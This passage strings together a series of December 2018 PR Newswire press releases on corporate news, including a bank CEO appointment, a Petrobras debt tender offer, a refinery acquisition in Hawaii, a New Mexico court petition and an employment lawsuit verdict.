in finance, retail and small business banking and community banking. Rupp most recently served as chief executive at Raleigh-based Four Oaks Bank. Prior to that role, he held executive leadership roles in community banking at VantageSouth Bank and Greystone Bank. He also led consumer and small business banking at Birmingham, Alabama-based Regions Financial Corp., and served in leadership roles at First Union and Bank of America. Rupp will succeed chief executive Tom Smith, who has decided to retire. Smith has faithfully served Movement Bank for 18 months, leading the bank through a period of exciting change. Smith supervised a $10 million recapitalization and rebranding effort in 2017, which led to sustained growth. He also led the implementation of a new online banking platform. Bank total assets increased by more than 40 percent during his tenure. "I am so thankful for the time and effort Tom has given to us as CEO of Movement Bank and wish him the absolute best in his future," says Movement Bank Chairman Casey Crawford. "We are also thrilled to have David and his family join our team. I'm excited to see where David's experience and dedication to servant leadership can take us in the years to come." David and his wife, Lorie, currently live in Raleigh, North Carolina. About Movement Bank Movement Bank is creating a new example of what it looks like for a bank to serve people. Founded in 1919, Movement Bank offers a comprehensive suite of products and services, including checking, savings, money market and certificates of deposit for individuals and businesses. The bank also specializes in mortgage, home equity, auto and personal loans for individuals, and lines of credit, commercial, and real estate financing for businesses. Movement Bank offers online and mobile banking, credit and debit cards and a range of other services. Movement Bank is based in Danville, Virginia and operates loan production offices in Charlotte, Greensboro and Virginia Beach. It conducts business online at movementbank.com. Contact: Adam O'Daniel, communications director (704) 413-3336 [email protected] SOURCE Movement Bank "The Torch Awards have given us the opportunity to show the community our commitment to integrity and our customers," said Rick Arvielo, CEO of New American Funding. "We have placed the highest priority on conducting business with fairness and honor and are extremely pleased the Torch Awards has recognized our efforts in this commitment." The BBB Torch Awards for Ethics were established to recognize organizations where ethics and trust is at the forefront of their business. Companies are selected by an independent panel of volunteer community leaders based on criteria established by the Council of Better Business Bureau's International Torch Award. The finalists were required to complete an evaluation to demonstrate their commitment to ethics in six categories: Leadership's Commitment to Ethical Practices Communication of Ethical Practices Leadership Practices to Unify the Organization Organizational Commitment to Performance Management Practices Organizational Commitment to Ethical Human Resource Practices Organizational Commitment to the Community "Doing the right thing is not always easy, and these companies have demonstrated a commitment to ethical business practices even in the most difficult times," said Shelley Bradley, BBB Director of Programs and Special Events. "This year's winners and finalists represent BBB's community of trustworthy businesses that operate with integrity at the forefront. For a complete list of 2018 BBB Torch Awards, go to: torchawards.bbbcommunity.org. About New American Funding New American Funding is a leading nationwide mortgage banker that provides today's homebuyers and homeowners with a sweeping range of mortgage solutions. The strength of our local branches, plus a centralized, cutting-edge operations center, allow us to offer exceptional service and close loans fast and on time. It has a servicing portfolio of over 110,000 loans for $27 billion, approximately 185 branches, and about 2900 employees. SOURCE New American Funding Related Links http://www.newamericanfunding.com WASHINGTON, Dec. 20, 2018 /PRNewswire/ -- The New Civil Liberties Alliance today filed a Petition for a Writ of Mandamus with the Supreme Court of New Mexico. The Petition asks the Justices to vacate New Mexico's 2017 "Campaign Finance Rule" (CFR) because it violates the separation of powers guaranteed to the state's citizens in Article III, Section 1 of the New Mexico Constitution. The problem began when the Legislature passed Senate Bill 96, which requiredamong other thingsreporting of "independent expenditures" to regulators. Governor Susana Martinez vetoed SB96, concerned that the bill would likely discourage individuals from giving to charities. Despite the veto, Secretary of State Maggie Toulouse Oliver announced that she would "go forward utilizing [her] rulemaking authority" to enact a regulation to effectuate most of the vetoed bill's provisions. Secretary Oliver's resulting CFR, which is substantively identical to SB96, essentially vetoed the governor's veto by rewriting New Mexico campaign finance laws without legal authority. Of course, the New Mexico Constitution does not confer such broad authority upon the Secretary of State, nor does it permit her to displace the governor's veto authority, the legislature's policymaking responsibility, and the Constitution's basic requirements for lawmaking. NCLA is asking the Supreme Court of New Mexico to strike down this unlawful regulation and restore constitutional order to the Land of Enchantment. The New Civil Liberties Alliance released the following statements: "At the heart of this case lies an extraordinary breach of New Mexico's constitution. It is constitutionally absurd to suggest that the Secretary of State may legally hijack legislative and gubernatorial authority to enact laws. Secretary Oliver's unilateral rule-by-decree threatens the essential nature of New Mexico's representative form of government. Every New Mexico resident should be troubled by this power grab." Michael P. DeGrandis, NCLA Senior Litigation Counsel "The constitutional role of the Secretary of State is to execute the law, not to make it. When mere administrators overstep their legal authority and act like legislators, NCLA will call them out publicly and haul them into court." Mark Chenoweth, NCLA Executive Director and General Counsel The following petitioners have joined together in this effort to vacate the Secretary's Rule as unconstitutional: Sen. William E. SharerDistrict 1 Sen. Mark MooresDistrict 21 Rep. James R.J. StricklerDistrict 2 Rep. David M. GallegosDistrict 61 About NCLA NCLA is a nonprofit civil rights organization founded by prominent legal scholar Philip Hamburger to protect constitutional freedoms from violations by the administrative state. NCLA's pro bono public-interest litigation and other advocacy strive to tame the unchecked power of state and federal agencies and to foster a new civil liberties movement that will help restore Americans' fundamental rights. For more information visit us online: NCLAlegal.org Media Inquiries: Please contact Judy Pino, 202-869-5218 or email [email protected] SOURCE New Civil Liberties Alliance Related Links https://www.nclalegal.org HOUSTON, Dec. 19, 2018 /PRNewswire/ -- Par Pacific Holdings, Inc. (NYSE: PARR) ("Par Pacific") today announced that it has successfully closed its acquisition of certain refining assets from an affiliate of Island Energy Services ("IES"), a privately-held energy company located in Oahu, Hawaii. On August 29, 2018, IES announced it would cease its refining operations, shifting its focus to logistics and retail operations. Par Pacific paid $45 million for the refining assets plus additional amounts for certain hydrocarbon and non-hydrocarbon inventory. "We are pleased to welcome approximately 80 IES employees to the Par Pacific family and look forward to working with them on a successful integration," said William Pate, President and CEO, Par Pacific. "As the owner and operator of Hawaii's largest refinery, we recognize our important role in meeting the island demand for essential petroleum products. Par Pacific is proud to assist in supplying Hawaii's energy needs and supporting the state's transition to its clean energy goals." The acquired refining assets are located near Par Pacific's current Kapolei refinery and will be utilized by Par Pacific to supplement its existing operations as well as to supply product to IES so that IES may fulfill its contractual obligations with Hawaiian Electric Company and its affiliates and the Kauai Island Utility Cooperative. As part of the transaction, Par Pacific has entered into a long-term agreement with IES to utilize IES' retained logistics assets for the storage and throughput of crude oil and refined products necessary for the operation of the acquired refining assets. About Par Pacific Par Pacific Holdings, Inc. (NYSE: PARR), headquartered in Houston, Texas, owns and operates market-leading energy and infrastructure businesses. Par Pacific's strategy is to acquire and develop energy and infrastructure businesses in logistically complex markets. Par Pacific owns and operates one of the largest energy networks in Hawaii with 148,000-bpd of combined refining capacity, a logistics system supplying the major islands of the state and 91 retail locations. In the Pacific Northwest and the Rockies, Par Pacific owns and operates an 18,000-bpd refinery, a logistics system and 33 retail locations. Par Pacific also owns 46% of Laramie Energy, LLC, a natural gas production company with operations and assets concentrated in Western Colorado. Forward-Looking Statements This press release includes certain "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended, which are intended to qualify for the "safe harbor" from liability established by the Private Securities Litigation Reform Act of 1995. All statements other than statements of historical fact, including, without limitation, statements related to the IES acquisition are forward-looking statements. Additionally, forward looking statements are subject to certain risks, trends, and uncertainties. Par Pacific cannot provide assurances that the assumptions upon which these forward-looking statements are based will prove to have been correct. Should one of these risks materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those expressed or implied in any forward-looking statements, and investors are cautioned not to place undue reliance on these forward-looking statements, which are current only as of this date. Par Pacific does not intend to update or revise any forward-looking statements made herein or any other forward-looking statements as a result of new information, future events or otherwise. Par Pacific further expressly disclaims any written or oral statements made by a third party regarding the subject matter of this news release. Investor Relations Contact Suneel Mandava [email protected] Tel: 713.969.2136 SOURCE Par Pacific Holdings, Inc. DALLAS, Dec. 20, 2018 /PRNewswire/ -- Consumer research from Parks Associates finds more than 40% of U.S. broadband households consider the concept of a smart home to be appealing for their household. The international research firm will host its 13th-annual CONNECTIONS Summit: IoT and the Smart Home on January 8 at CES 2019 in Las Vegas, featuring sessions discussing strategies to expand the smart home ecosystem and a networking reception sponsored by Homematic IP. Parks Associates: Appeal of Your Home Being a "Smart Home" CONNECTIONS Summit sponsors include Alarm.com, Alula, Asurion, Cirrent, F-Secure, Hive Home, Homematic IP, Inspire, Johnson Controls, Minim, ROC-Connect, and Trusource Labs. Smart Home Platforms: Providing Value through Experiences, January 8 at 9:00 a.m., explores the potential of smart home platforms to deliver a unified and reliable consumer experience while also creating lasting business value. Speakers: Rob Conant , CEO, Cirrent , CEO, Dave Mayne , VP, Product Management, Alula , VP, Product Management, Marcus Scheiber , CEO & Co-Founder, ROC-Connect , CEO & Co-Founder, Linden Tibbets, CEO, IFTTT Kellen Xu , Director, Global Business Development and Partnerships, SmartThings , Director, Global Business Development and Partnerships, George Yianni , Head, Technology, Philips Hue - Signify "Connected home technology adoption will increase dramatically based on delivery of elegantly integrated experiences that enable layers of value, both for the consumers that engage them as well as the enterprises that enable them," said Dave Mayne, VP, Product Management, Alula. "However they must be connected to sustainable economic value for them to be meaningful." "Meeting the customer expectations by a clear and comprehensive experience will be crucial to success and further adoption," said Marcus Scheiber, CEO & Co-Founder, ROC-Connect. "Important success factors of the early days, like device connectivity and compatibility, are becoming commodities and are turning into hygiene factors. True value to the customers will be built on experiences and clear value propositions that go far beyond the connected devices and eventually will touch all aspects of the home and its users by all kinds of value-added services." "Consumers want and deserve a seamless smart home experience," said George Yianni, Head, Technology, Philips Hue at Signify. "Since Philips Hue's inception, we've been committed to delivering an open ecosystem and frustration-free interoperability. This has enabled us to become the lighting partner of choice." Insurance, Consumers and IoT: New Business Models, January 8 at 2:00 p.m., offers insight into the unique convergence of the smart home and insurance markets. Speakers: Daniel Behrendt , Head, Business Development, Resideo , Head, Business Development, Cristene Gonzalez-Wertz , Electronics + Environment, Energy & Utilities Research Director, IBM Institute for Business Value , Electronics + Environment, Energy & Utilities Research Director, Yuval Harry , Head, Partnerships, Hippo , Head, Partnerships, Jon-Michael Kowall , Assistant VP, Property Product Development & Innovation, USAA , Assistant VP, Property Product Development & Innovation, David Wechsler , Senior Director, Channels and Partnerships, Comcast Xfinity "Smart home will enable the insurance industry to become proactive when bad things happen, while at the same time create new ways to interact with the consumer to make home ownership simpler," said Jon-Michael Kowall, Assistant VP, Property Product Development & Innovation, USAA. Brad Russell, Director, Connected Home Research, Parks Associates, will moderate both sessions. CONNECTIONS Summit at CES focuses on the best business models and value propositions in the Internet of Things (IoT), the smart home, and connected CE and services. To request data or an interview, contact Julia Homier, [email protected]. About CONNECTIONS Summit at CES CONNECTIONS Summit is an annual event hosted by Parks Associates at CES in Las Vegas. During CES, visit Parks Associates at Booth #42,953 in the Sands Expo Hall. http//www.connectionssummit.com Contact: Julia Homier Parks Associates 972.996.0214 [email protected] SOURCE Parks Associates MINNEAPOLIS, Dec. 20, 2018 /PRNewswire/ -- Peace Paper's plight for peace has gone international with the reveal of the latest edition of its signature wrapping paper that features donated artwork from more than a dozen well-known artists from across the globe. The non-profit initiative, which makes premium-quality giftwrap on a mission to spread peace and kindness, is committed to funding peace education in schools. This newly released edition, ready just in time for the holidays, will help in that fundraising effort. Some of the featured artists include: "We started Peace Paper as an all-inclusive art collaboration that is dedicated to spreading positivity in our world at a time when it is greatly needed, and we are so excited that artists of this impressive caliber feel moved to join our cause," said Periscope's chief creative officer Peter Nicholson. "It was an amazing process transforming art from numerous unique painters and illustrators into a blended tapestry that embodies so many different styles all committed to one single message of peace." The artists were invited to share their own interpretations of peace, and their original work will only be seen in Peace Paper. Cachete Jack, featured artist: "For us as illustrators, communication is really important. Being able to communicate is also really important for peace. Understanding others and feeling free to express yourself in all situations is essential to finding peace." Jason Naylor, featured artist: "I've always been a big proponent of individuality, and the best way to represent this is with color. It doesn't matter who you are, be the kindest, most colorful version of you. You'd be surprised at how far you can get in life, just by being kind." Eni (Santiago Usano Martinez), featured artist: "I practice meditation every day and it's where I find myself peacefully in mindfulness state, and I thought that it would be a nice idea for my contribution. Be first in peace with yourself and then be at peace with others." The international artist edition of Peace Paper will be shared with Periscope's family, friends and clients during the holidays and will be available for purchase to the public on the Peace Paper website in early 2019. For more information about Peace Paper and its impact or to nominate a school to receive a donated Peace Paper education kit, visit www.projectpeacepaper.com. ABOUT PEACE PAPER Peace Paper invites people from all walks of life to spread peace through collaborative creativity. On a mission to inspire and encourage people to make their world kinder and more peaceful, even if only for a moment, Peace Paper is sold with 100% of proceeds going toward peace education in public schools. For every three rolls of paper sold, one is donated as a part of a Peace Paper school kit which includes art-centered, K-12 curriculum that fosters the learning of peace building skills in key areas such as self-expression, inclusion and diversity of thought. Project Peace Paper is a non-profit movement created by Minneapolis-based creative agency Periscope. CONTACT INFORMATION Kelsey Soby [email protected] 612-399-0623 SOURCE Peace Paper Related Links http://www.projectpeacepaper.com RIO DE JANEIRO, Dec. 20, 2018 /PRNewswire/ -- Petroleo Brasileiro S.A. Petrobras (" Petrobras ") (NYSE: PBR) announced today the early results of its previously announced debt tender offers. As of 5:00 p.m., New York City time, on December 19, 2018 (the " Early Tender Deadline ") holders of: (i) US$1,065,376,000 principal amount of the outstanding notes of the series set forth in the table below under the heading "Tender Group 1" (the " Tender Group 1 Notes ") and (ii) US$107,621,000 and 31,012,000 principal amount of the outstanding notes of the series set forth in the table below under the heading "Tender Group 2" (the " Tender Group 2 Notes " and, together with the Tender Group 1 Notes, the " Notes " and each a " series " of Notes), issued by its wholly-owned subsidiary Petrobras Global Finance B.V. (" PGF "), tendered their Notes, pursuant to PGF's previously announced cash tender offers (the " Tender Offers "). The total consideration payable for each series of Notes was determined by PGF, in part, pursuant to a modified "Dutch auction" as described in the offer to purchase dated December 6, 2018 (the " Offer to Purchase "). The clearing premium determined by PGF for the Tender Group 1 Notes is US$30.00 (the " Tender Group 1 Clearing Premium "), and the clearing premium determined by PGF for the Tender Group 2 Notes is US$37.50 (the " Tender Group 2 Clearing Premium "). The following tables summarize the early tender results as of the Early Tender Deadline, the principal amount of Notes that PGF has accepted for purchase and the approximate proration factor for each series of Notes: Tender Group 1 Title of Security CUSIP/ISIN Principal Amount Outstanding(1) Total Consideration(2) Principal Amount Tendered Principal Amount Accepted for Purchase Approximate Proration Factor(3) 5.375% Global Notes due January 2021 71645WAR2 / US71645WAR25 US$1,211,450,000 US$1,027.50 US$117,016,000 US$107,574,000 84.23% 8.375% Global Notes due May 2021 71647NAP4 / US71647NAP42 US$1,239,981,000 US$1,097.50 US$362,830,000 US$338,014,000 84.23% 6.125% Global Notes due January 2022 71647NAR0 / US71647NAR08 US$1,522,388,000 US$1,037.50 US$248,170,000 US$225,507,000 84.23% 4.375% Global Notes due May 2023 71647NAF6 / US71647NAF69 US$3,412,000,000 US$965.00 US$337,360,000 US$294,853,000 84.23% __________________________________________ (1) As of the date hereof, including Tender Group 1 Notes held by Petrobras or its affiliates. (2) Per US$1,000. The Total Consideration, which is payable with respect to Tender Group 1 Notes validly tendered on or prior to the Early Tender Deadline and accepted for purchase, includes an early tender premium equal to US$30.00 per US$1,000 principal amount for each series of Tender Group 1 Notes accepted for purchase. (3) Tender Group 1 Notes validly tendered at or prior to the applicable Early Tender Deadline (i) with a bid price that results in a bid premium that is less than the Tender Group 1 Clearing Premium will be accepted for purchase, (ii) with a bid price that results in a bid premium equal to the Tender Group 1 Clearing Premium will be subject to proration (at the Approximate Proration Factor specified for each series), and (iii) with a bid premium in excess of the Tender Group 1 Clearing Premium will be rejected. Tender Group 2 Title of Security CUSIP/ISIN Principal Amount Outstanding(1) Total Consideration(2) Principal Amount Tendered Principal Amount Accepted for Purchase 5.375% Global Notes due October 2029 N/A / XS0835891838 450,000,000 950.00 31,012,000 31,012,000 6.875% Global Notes due January 2040 71645WAQ4 / US71645WAQ42 US$1,160,615,000 US$967.50 US$36,135,000 US$36,135,000 6.750% Global Notes due January 2041 71645WAS0 / US71645WAS08 US$1,222,574,000 US$960.00 US$23,079,000 US$23,079,000 5.625% Global Notes due May 2043 71647NAA7 / US71647NAA72 US$814,406,000 US$857.50 US$48,407,000 US$48,407,000 __________________________________________ (1) As of the date hereof, including Tender Group 2 Notes held by Petrobras or its affiliates. (2) Per US$1,000 or 1,000, as applicable. The Total Consideration, which is payable with respect to Tender Group 2 Notes validly tendered on or prior to the Early Tender Deadline and accepted for purchase, includes an early tender premium equal to US$30.00 per US$1,000 principal amount for each series of U.S. dollar denominated Notes accepted for purchase, and 30.00 per 1,000 principal amount for each series of Pounds Sterling denominated Notes accepted for purchase. Because the purchase of Tender Group 1 Notes validly tendered in the Tender Offers would cause PGF to purchase an aggregate principal amount of Tender Group 1 Notes that would result in an aggregate amount to be received by holders of Tender Group 1 Notes in excess of US$1.0 billion, PGF has accepted for purchase only US$107,574,000 principal amount of 5.375% Global Notes due 2021, US$338,014,000 principal amount of 8.375% Global Notes due 2021, US$225,507,000 principal amount of 6.125% Global Notes due 2022 and US$294,853,000 principal amount of 4.375% Global Notes due 2023. Tender Group 1 Notes validly tendered at or prior to the applicable Early Tender Deadline (i) with a bid price that results in a bid premium that is less than the Tender Group 1 Clearing Premium will be accepted for purchase, (ii) with a bid price that results in a bid premium equal to the Tender Group 1 Clearing Premium will be subject to proration (at the Approximate Proration Factor specified for each series), and (iii) with a bid premium in excess of the Tender Group 1 Clearing Premium will be rejected. Because the Tender Offers for Tender Group 1 Notes were oversubscribed at the Early Tender Deadline, holders of Tender Group 1 Notes who tender after the Early Tender Deadline will not have any of their Tender Group 1 Notes accepted for purchase. Any tendered Tender Group 1 Notes that are not accepted for purchase will be returned or credited without expense to the holder's account. The total cash payment to purchase on the Early Settlement Date (as defined below) the accepted Tender Group 1 Notes will be approximately US$999.9 million excluding accrued and unpaid interest. Tender Group 1 Notes that have been validly tendered on or prior to the Early Tender Deadline cannot be withdrawn, except as may be required by applicable law. PGF has accepted for purchase all Tender Group 2 Notes validly tendered in the Tender Offers on or prior to the Early Tender Deadline. Holders of Tender Group 2 Notes that validly tendered on or prior to the Early Tender Date and whose Tender Group 2 Notes have been accepted for purchase are entitled to receive the total consideration set forth in the table above under the heading "Tender Group 2," which includes an early tender premium, and to receive accrued and unpaid interest. Holders of Tender Group 2 Notes that are validly tendered after the Early Tender Date but on or before the Expiration Time and whose Tender Group 2 Notes are accepted for purchase will receive only the applicable tender offer consideration, which is equal to the total consideration set forth in the table above under the heading "Tender Group 2," minus the applicable early tender premium, and to receive accrued and unpaid interest. Tender Group 2 Notes tendered on or prior to the Early Tender Deadline, which have been accepted for purchase on the Early Settlement Date, will have priority over Tender Group 2 Notes tendered after the Early Tender Deadline. If the Tender Offers for Tender Group 2 Notes are oversubscribed at the Expiration Date, then only a portion of Tender Group 2 Notes tendered after the Early Tender Deadline may be accepted for purchase pursuant to the proration procedures described in the Offer to Purchase. The total cash payment to purchase on the Early Settlement Date the accepted Tender Group 2 Notes will be approximately US$135.9 million based on the U.S. dollar exchange rate described herein, excluding accrued and unpaid interest. Tender Group 2 Notes that have been validly tendered on or prior to the Early Tender Deadline cannot be withdrawn, except as may be required by applicable law. The early settlement date on which PGF will make payment for Notes accepted in the Tender Offers is expected to be December 21, 2018 (the " Early Settlement Date "). The Tender Offers will expire at 11:59 p.m., New York City time, on January 4, 2019 (the " Expiration Time "). The exchange rate used to translate Pounds Sterling to U.S. dollars was US$1.2659 per Pound Sterling, the applicable exchange rate as of 2:00 p.m., New York City time on December 19, 2018, as reported on Bloomberg screen page "FXIP" under the heading "FX Rate vs. USD." The Tender Offers are being made pursuant to the Offer to Purchase, and the related letter of transmittal dated December 6, 2018 (as amended or supplemented from time to time, the " Letter of Transmittal "), which set forth in more detail the terms and conditions of the Tender Offers. PGF has engaged BB Securities Limited, Credit Agricole Securities (USA) Inc., Itau BBA USA Securities, Inc., J.P. Morgan Securities LLC, Merrill Lynch, Pierce, Fenner & Smith Incorporated and Mizuho Securities USA LLC to act as dealer managers (the " Dealer Managers ") in connection with the Tender Offers. Global Bondholder Services Corporation is acting as the depositary and information agent for the Tender Offers. * * * * * This press release is not an offer to purchase, nor a solicitation of an offer to sell, nor the solicitation of tenders with respect to, the securities described herein. The Tender Offers are not being made to holders of Notes in any jurisdiction in which PGF is aware that the making of the Tender Offers would not be in compliance with the laws of such jurisdiction. In any jurisdiction in which the securities laws or blue sky laws require the Tender Offers to be made by a licensed broker or dealer, the respective Tender Offers will be deemed to be made on PGF's behalf by the Dealer Managers or one or more registered brokers or dealers that are licensed under the laws of such jurisdiction. Any questions or requests for assistance regarding the Tender Offers may be directed to BB Securities Limited at +44 (20) 7367-5803, Credit Agricole Securities (USA) Inc. at +1 (866) 807-6030, Itau BBA USA Securities, Inc. at +1 (212) 710-6749, J.P. Morgan Securities LLC at +1 (866) 834-4666, Merrill Lynch, Pierce, Fenner & Smith Incorporated at +1 (888) 292-0070 and Mizuho Securities USA LLC at +1 (866) 271-7403. Requests for additional copies of the Offer to Purchase, the Letter of Transmittal and related documents may be directed to Global Bondholder Services Corporation at +1 (866)-470-3900 (toll-free) or +1 (212)-430-3774. Neither the Offer to Purchase nor any documents related to the Tender Offers have been filed with, and have not been approved or reviewed by any federal or state securities commission or regulatory authority of any country. No authority has passed upon the accuracy or adequacy of the Offer to Purchase or any documents related to the Tender Offers, and it is unlawful and may be a criminal offense to make any representation to the contrary. Forward-Looking Statements This press release contains forward-looking statements. Forward-looking statements are information of a non-historical nature or which relate to future events and are subject to risks and uncertainties. No assurance can be given that the transactions described herein will be consummated or as to the ultimate terms of any such transactions. Petrobras undertakes no obligation to publicly update or revise any forward-looking statements, whether as a result of new information or future events or for any other reason. SOURCE Petroleo Brasileiro S.A. - Petrobras RALEIGH, N.C., Dec. 20, 2018 /PRNewswire/ -- Philadelphia Media Network (PMN), owner of Philly.com, The Inquirer and Daily News, has partnered with Tru Measure, a wholly-owned subsidiary of McClatchy (NYSE American: MNI), to power reporting and post-click attribution for all digital advertising. Celebrating 10 years in 2019, Tru Measure provides a digital marketing analytics platform that helps media companies and agencies leverage highly-accurate data to prove performance and retain clients. With the support of Tru Measure, PMN will reduce reporting time and expense, and improve client satisfaction with campaign performance dashboards and analytics. After evaluating several options for call tracking, site analytics and consolidating third party campaign performance data, and instead of using internal resources, PMN was able to go live within a few weeks with a complete solution from Tru Measure. Simple and exportable reporting is delivered through a customizable, easy-to-use dashboard that efficiently pulls together the data points that matter most to each client, from the specific number of conversions or calls, to something as broad as increased page views. The dashboard clearly demonstrates Return on Investment (ROI) on advertising spend by connecting post-click engagement analytics such as call tracking, site traffic and conversions with search engine marketing (SEM), display and paid social tactics. It also includes several application program interface (API) integrations with top media vendors and Google Analytics. Going one step further, the Tru Measure dashboard scrubs and normalizes data to filter out unwanted data and present results specific to individual advertisers' goals. "As a dominant media company in Philadelphia, PMN provides its advertisers with incomparable local reach. With Tru Measure's advanced reporting, PMN will have proof that campaigns are working by demonstrating the ROI of advertising, while growing and retaining their ad revenue," said John Hoeft, General Manager for Tru Measure. About Tru Measure Tru Measure is a digital marketing services platform that has been providing media companies and advertising agencies with guidance on audience, customer engagement and action since 2009. These insights tell the full campaign story from impression to conversion by displaying post-click analytics and call tracking in a dashboard solution. A wholly-owned subsidiary of McClatchy (NYSE American: MNI), with offices in Raleigh, Seattle, Dallas, Los Angeles and Minneapolis, Tru Measure also offers workflow and third-party fulfillment solutions for programmatic display, video, mobile, search and social. The easy-to-use platform is designed to streamline sales, operations, audience targeting, optimization and reporting for data-informed marketing efforts including online, print and broadcast. Tru Measure supports a broad spectrum of media companies, including McClatchy, Lee Enterprises, BH Media Group, Cordillera Communications and several advertising agencies. For more information, visit www.trumeasure.com. SOURCE Tru Measure Related Links http://www.trumeasure.com BEIJING, Dec. 20, 2018 /PRNewswire/ -- Concord Medical Services Holdings Limited ("Concord Medical" or the "Company") (NYSE: CCM), a leading specialty hospital management solution provider and operator of the largest network of radiotherapy and diagnostic imaging centers in China, today announced that Shanghai Concord Medical Cancer Center (the "Center") has completed the First Bill of Medical Insurance Settlement on December 17, 2018. Starting from December 17, 2018, patients insured by Shanghai urban medical insurance can realize the medical insurance settlement according to the reimbursement standard of the public tertiary hospitals after they have obtained the international standard medical services from the center. For the medical services not covered by medical insurance, patients need to pay for themselves. As one of the first round profit-making Sino-foreign cooperative medical institutions in Shanghai to be included in medical insurance, Shanghai Concord Medical Cancer Center will continue to strive for providing international and standardized high-end cancer diagnosis and treatment services to more medical insurance patients. About Concord Medical Concord Medical Services Holdings Limited is a leading specialty hospital management solution provider and operator of the largest network of radiotherapy and diagnostic imaging centers in China. As of June 30, 2018, the Company operated a network of 30 centers with 21 hospital partners that spanned 21 cities and 14 provinces and administrative regions in China. Under long-term arrangements with top-tier hospitals in China, the Company provides radiotherapy and diagnostic imaging equipment and manages the daily operations of these centers, which are located on the premises of its hospital partners. The Company also provides ongoing training to doctors and other medical professionals in its network of centers to ensure a high level of clinical care for patients. For more information, please see http://ir.ccm.cn. SOURCE Concord Medical Services Holdings Limited Related Links http://ir.ccm.cn LOS ANGELES, Dec. 20, 2018 /PRNewswire/ -- Anahit Shirvanyan, a 63-year-old kitchen worker, was awarded a total of $2.9 million in damages in her lawsuit against the Los Angeles Community College District. Shirvanyan, who was represented by employee rights law firm Shegerian & Associates, claimed that the LACCD failed to engage in the interactive process and failed to provide reasonable accommodations. The jury rejected Shirvanyan's claim of disability discrimination. Shirvanyan and her family immigrated to the United States from Iran in 1988 in the hopes of a better life. Shirvanyan was hired at the licensed childcare facility at Valley College in Van Nuys in February of 2007, and was excited to have the opportunity to work with children. In 2012, Shirvanyan began experiencing pain in her right hand and arm, which was due in part to her constant lifting of heavy grocery items and kitchen equipment. In 2014, she was diagnosed with carpal tunnel syndrome. Shirvanyan claims that after complaining to her boss about her pain, the supervisor responded by reducing her hours. Later, the supervisor asked Shirvanyan why she wore a splint on her hand. They proceeded to ignore her requests for help in pushing carts and moving heavy items. Shirvanyan's supervisor allegedly told her, "Nobody is obligated to help you because they have their own work to do." Shirvanyan asked her supervisor for assistance in 2015, the supervisor told her that they were planning to retire soon, and suggested she do the same. In January of 2016, Shirvanyan's daughter provided her employer a doctor's note, which requested three months off to deal with her pain, but the plaintiff did not hear back from the LACCD regarding the request. Carney Shegerian, the founder of Shegerian & Associates, who represented Shirvanyan, weighed in on the case. "The verdict should send a message to employers that they should accommodate employees with injuries so that they are not forced to work through their pain and suffer," Shegerian says. This week, Shirvanyan stated that she suffers from depression and has lost much of the use of her right arm. About Shegerian & Associates: Shegerian & Associates has won clients over $200 million in employment-based disputes and maintains a 98% success rate. We have offices in Los Angeles, San Diego, Riverside and New York. Media Contact: Pace Public Relations Caroline Kropke [email protected] SOURCE Shegerian & Associates Related Links https://www.shegerianlaw.com This is the 12 th consecutive year Southern Company has been ranked among the top nationwide military employers. "We are proud to lead the energy industry as the No. 1 military employer," said Southern Company president, chairman and CEO Tom Fanning. "We actively recruit veterans and partner with military transition centers to do our part to ensure success after service." G.I. Jobs selection criteria include the strength of the company's military recruiting efforts, the percentage of new hires with prior military service, retention programs and company policies that encourage and support National Guard and Reserve servicemen and women. Over the past three years, 14 percent of Southern Company's new hires have been veterans or active military, who now comprise 10 percent of the total workforce. Southern Company is a founding partner of the Troops to Energy Jobs program, a recruiting source that links veterans to job openings in the energy industry. Southern Company has pledged to support the Joining Forces initiative, participates annually in more than 30 military recruitment events and partners with military transition centers across the country. Additionally, Southern Company is proud to be the only energy company to partner with the U.S. Army, U.S. Navy, U.S. Marine Corps, U.S. Air Force, U.S. Coast Guard and reserve and guard personnel to develop innovative energy projects both on and off base. Through our partnership with Department of Defense we are engaging directly with emerging technologies and new business models impacting both our nation's security and the communities we serve. Our values of safety, trust, superior performance and total commitment strongly align with those of the U.S. military, making Southern Company one of the best places to work for veterans, guardsmen and reservists. Please visit southerncompany-veterans.jobs to learn more about how veterans are a great fit at Southern Company. About Southern Company Southern Company (NYSE: SO) is nationally recognized as a leading energy company, with 46,000 megawatts of generating capacity and 1,500 billion cubic feet of combined natural gas consumption and throughput volume serving 9 million customers through its subsidiaries as of December 31, 2017. We operate nearly 200,000 miles of electric transmission and distribution lines and more than 80,000 miles of natural gas pipeline as of Dec. 31, 2017. The company provides clean, safe, reliable and affordable energy through electric operating companies in four states, natural gas distribution companies in seven states, a competitive generation company serving wholesale customers in 11 states across America and a nationally recognized provider of customized energy solutions, as well as fiber optics and wireless communications. Visit our website at www.southerncompany.com to learn more. SOURCE Southern Company Related Links http://www.southerncompany.com MIAMI, Dec. 19, 2018 /PRNewswire/ -- Spanish Broadcasting System, Inc. ("SBS") (OTCQX: SBSAA) with its television network, MegaTV announced the triumphant return to radio, television and digital platforms of the famous producer and ventriloquist, Antulio "Kobbo" Santarrosa. The agreement between Santarrosa and SBS was made on December 19, 2018, in the United States and will be effective as of January 2019. The arrival of Antulio "Kobbo" Santarrosa to SBS-MegaTV comes at a stage of audience growth and expansion of its programming amid a critical cycle for the Hispanic community. "It is exciting for me to join the great Spanish Broadcasting System team, MegaTV, and with great enthusiasm and humility I reach this new step in my career with the opportunity to entertain and inform the Hispanic community in the United States and Puerto Rico," said Antulio "Kobbo" Santarrosa. "The arrival of Antulio "Kobbo" Santarrosa to SBS is another reason for celebration for our company. I am sure his return to television and now to radio and our digital platform, LaMusica will be a success in Puerto Rico and the United States. The talent and creativity of Mr. Santarrosa adds another unique and iconic voice to our SBS family," said Raul Alarcon Chairman, CEO of SBS. MegaTV is the most reliable source of news and information for Hispanics in the United States. Our award-winning programs include, "Bayly," "Ahora con Oscar Haza," "Paparazzi TV," "Mega News," as well as special programs, documentaries and breaking news. The acclaimed team of journalists led by Oscar Haza, Jaime Bayly, Mario Andres Moreno and Natalia Cruz, correspondents and collaborators offer the latest information and best analysis of national and international events, through multiple platforms. MegaTV's content reaches Hispanic audiences in various markets in the United States and Puerto Rico every day of the week. MegaTV is distributed nationwide by DirecTV, AT&T U-verse and Verizon Fios (NY-DMA) in the United States. During the next weeks, Antulio "Kobbo" Santarrosa will share an advance of what will be the new concept of his show. Join the conversation using #LACOMAYSBS. Comment together with others on social networks, and you can listen to us through LaMusica App available on IOS and 